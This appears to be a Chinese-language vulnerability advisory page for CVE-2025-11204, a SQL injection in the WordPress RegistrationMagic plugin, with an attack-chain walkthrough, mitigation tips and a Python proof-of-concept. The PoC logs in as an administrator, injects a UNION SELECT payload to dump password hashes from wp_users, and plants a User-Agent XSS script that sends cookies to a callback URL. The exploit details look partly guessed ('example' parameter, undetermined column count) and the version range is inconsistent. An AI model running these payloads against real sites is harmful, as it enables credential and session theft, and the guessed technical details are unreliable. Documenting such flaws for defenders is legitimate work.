IPBUF安全漏洞报告
English
CVE-2025-11204 CVSS 7.2 高危

CVE-2025-11204:WordPress RegistrationMagic插件SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11204
漏洞类型
SQL注入(SQL Injection)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login(WordPress插件)

相关标签

SQL注入SQL InjectionCVE-2025-11204WordPressRegistrationMagic插件漏洞高危漏洞XSS跨站脚本WordPress安全

漏洞概述

CVE-2025-11204是WordPress平台广泛使用的RegistrationMagic插件中存在的一个高危SQL注入漏洞。该插件是一款功能强大的自定义注册表单、用户注册、支付及用户登录管理工具,被大量WordPress网站用于构建用户注册和管理流程。

根据披露信息,该漏洞影响RegistrationMagic插件所有6.0.6.2及以下版本。漏洞的根本原因在于插件在对用户提供的参数进行处理时,未能进行充分的转义(escaping)操作,同时在构建SQL查询时也未使用参数化查询或预编译语句(prepared statements),导致攻击者可以将恶意的SQL代码片段注入到现有的查询语句中。

该漏洞的CVSS 3.1评分为7.2分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H),即攻击者需要拥有管理员或更高权限的认证凭证。一旦利用成功,攻击者可以读取数据库中的敏感信息,包括用户凭证、个人数据等机密信息,同时可能对数据库的完整性和可用性造成严重影响。

值得注意的是,该漏洞还与跨站脚本攻击(XSS)存在关联。未认证的攻击者可以通过在表单提交时注入恶意的User-Agent头,利用存储型XSS来辅助实施攻击,进一步扩大了漏洞的影响范围。该漏洞由WordPress安全公司Wordfence的安全研究员发现并报告。

技术细节

该SQL注入漏洞存在于RegistrationMagic插件的`class_rm_reports_service.php`文件中,具体位于报告服务(Reports Service)模块。

**漏洞原理:**
在处理用户提交的参数时,插件直接将用户输入拼接到SQL查询语句中,而没有使用WordPress推荐的`$wpdb->prepare()`方法进行参数化处理,也没有对特殊字符(如单引号、双引号、分号等)进行适当的转义。这种不安全的编码实践使得攻击者可以通过精心构造的输入来修改原始SQL查询的语义。

**利用方式:**
1. 攻击者首先需要获取目标WordPress站点的管理员账户凭证(通过暴力破解、钓鱼或购买暗网泄露的凭证等方式)。
2. 登录管理后台后,访问RegistrationMagic插件的报告功能页面。
3. 在相关参数(如日期范围、用户ID、过滤条件等)中注入恶意的SQL片段,例如:`' UNION SELECT user_pass FROM wp_users-- `。
4. 由于缺乏预编译处理,恶意SQL片段会被拼接到原始查询中执行,从而从数据库中提取敏感数据。
5. 此外,未认证攻击者可以通过在表单提交请求中注入恶意的User-Agent头,利用XSS漏洞窃取管理员的会话Cookie或执行进一步的攻击。

**影响范围:**
利用此漏洞,攻击者可以:
- 提取数据库中的所有敏感信息(包括用户密码哈希、个人身份信息等)
- 修改或删除数据库中的数据
- 在某些配置下实现远程代码执行(RCE)
- 通过XSS组件窃取其他用户的会话凭证

攻击链分析

STEP 1
步骤1:获取管理员凭证
攻击者通过暴力破解、钓鱼攻击、社会工程学或购买暗网泄露的凭证等方式,获取目标WordPress站点的管理员账户登录凭证。
STEP 2
步骤2:登录WordPress管理后台
使用获取的管理员凭证登录WordPress管理后台,确保拥有访问RegistrationMagic插件功能的权限。
STEP 3
步骤3:定位漏洞端点
访问RegistrationMagic插件的报告功能页面(admin.php?page=rm_reports),该页面调用class_rm_reports_service.php中的存在漏洞的查询方法。
STEP 4
步骤4:构造SQL注入Payload
在易受攻击的参数(如过滤条件、日期范围等)中注入恶意的SQL片段,使用UNION SELECT等技术构造可提取数据的查询语句。
STEP 5
步骤5:提取敏感数据
通过注入的SQL查询从数据库中提取敏感信息,包括用户密码哈希、个人身份信息、支付数据等。
STEP 6
步骤6(可选):利用XSS扩大攻击
未认证攻击者通过在表单提交时注入恶意的User-Agent头,利用XSS漏洞窃取其他管理员的会话Cookie,实现权限提升或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11204 - RegistrationMagic SQL Injection PoC # Vulnerability Location: class_rm_reports_service.php (Reports Service) # Affected Versions: <= 6.0.6.2 import requests import re from urllib.parse import urljoin class RegistrationMagicSQLi: def __init__(self, target_url, admin_user, admin_pass): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.admin_user = admin_user self.admin_pass = admin_pass self.cookies = {} def login(self): """Step 1: Authenticate as WordPress administrator""" login_url = urljoin(self.target_url, '/wp-login.php') data = { 'log': self.admin_user, 'pwd': self.admin_pass, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } self.session.get(login_url) # Get cookies first resp = self.session.post(login_url, data=data, allow_redirects=True) if 'wordpress_logged_in' in str(self.session.cookies): print("[+] Login successful") return True return False def exploit_sqli(self, payload): """Step 2: Inject SQL payload into vulnerable parameter""" # The vulnerable endpoint is in the reports service exploit_url = urljoin(self.target_url, '/wp-admin/admin.php?page=rm_reports') params = { 'rm_filter': payload # Example vulnerable parameter } headers = { 'User-Agent': 'Mozilla/5.0 (compatible; RegistrationMagic-Exploit)' } resp = self.session.get(exploit_url, params=params, headers=headers) return resp.text def extract_passwords(self): """Step 3: Extract admin password hashes via UNION-based SQLi""" # Example UNION-based payload to extract user credentials # Note: Actual column count must be determined first payload = "1' UNION SELECT user_login, user_pass, user_email FROM wp_users-- -" result = self.exploit_sqli(payload) # Extract password hashes from response hashes = re.findall(r'\$P\$[A-Za-z0-9./]{53}', result) return hashes def xss_via_user_agent(self, callback_url): """Step 4: Unauthenticated XSS via User-Agent header""" # Craft XSS payload for form submission User-Agent xss_payload = f'<script>fetch("{callback_url}?cookie="+document.cookie)</script>' form_url = urljoin(self.target_url, '/?rm_form_submit=1') headers = { 'User-Agent': xss_payload } resp = requests.get(form_url, headers=headers) return resp.status_code # Usage example: # exploit = RegistrationMagicSQLi('http://target-wordpress-site.com', 'admin', 'password123') # if exploit.login(): # passwords = exploit.extract_passwords() # print(f"Extracted hashes: {passwords}")

影响范围

RegistrationMagic插件 < 6.0.6.2
所有6.0.6.2及以下版本均受影响

防御指南

临时缓解措施
在官方补丁发布前的临时缓解措施包括:1)限制WordPress管理员账户的访问权限,仅允许可信IP地址访问管理后台(通过.htaccess或IP白名单实现);2)部署Web应用防火墙(WAF)规则,监控和拦截针对RegistrationMagic插件的SQL注入尝试;3)暂时禁用RegistrationMagic插件的报告功能或整个插件,直到官方修复版本发布;4)密切监控数据库日志,检测异常的SQL查询活动;5)确保所有管理员账户使用强密码并启用双因素认证,降低凭证泄露的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表